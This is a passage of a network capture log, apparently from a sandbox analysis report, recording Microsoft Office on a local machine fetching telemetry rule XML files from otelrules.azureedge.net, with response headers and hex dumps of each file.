2024-12-06 14:53:20 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:21 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:20 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: daf0ea0f-401e-005b-1ad4-459c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145320Z-1746fd949bd2cq7chC1EWRnx9g0000000430000000001mbk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:21 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:21 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:21 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:21 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 77d68196-001e-0066-56cc-45561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145321Z-1746fd949bdb8xvchC1EWRmbd400000004b0000000009425 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:21 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:21 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:22 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:21 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: d9d18a22-b01e-0084-7761-47d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145321Z-1746fd949bdkw94lhC1EWRxuz400000004d000000000q1dn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:22 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:22 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:22 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:22 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 4885a0d8-201e-0096-65c7-45ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145322Z-1746fd949bdtlp5chC1EWRq1v400000004bg000000007qyr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:22 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:22 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:22 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:22 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: b15ffdf0-e01e-0051-2acd-4584b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145322Z-1746fd949bdtlp5chC1EWRq1v4000000048g00000000gc1q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:22 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:22 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:23 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:23 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: eed2a8f6-b01e-0001-60d2-4546e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145323Z-1746fd949bdxk6n6hC1EWRdr8c0000000480000000007qdh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:23 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:23 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:23 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:23 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 46703850-c01e-002b-03cc-456e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145323Z-1746fd949bdjzh7thC1EWR3g6400000004cg00000000d2cf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:23 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.7	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:23 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:24 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:24 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: a6a36225-101e-000b-71ce-455e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145324Z-1746fd949bd9x4mhhC1EWRb76n000000049000000000q09u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:24 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:24 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:24 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:24 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 4f5c15a4-401e-0067-28ce-4509c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145324Z-1746fd949bd77mkmhC1EWR5efc00000004g000000000q5p2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:24 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:24 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:25 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:24 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 16da2e55-001e-0066-7dc4-46561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145324Z-1746fd949bd4w8sthC1EWR7004000000042000000000ge15 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:25 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:25 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:25 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:25 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 52797c88-801e-00ac-33cb-45fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145325Z-1746fd949bdfg4slhC1EWR34t0000000046g00000000fwcr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:25 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:53:25 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:53:26 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:53:25 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 0e3f3dcd-301e-001f-2cd1-45aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145325Z-1746fd949bdjzh7thC1EWR3g64000000049000000000nbnn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:53:26 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 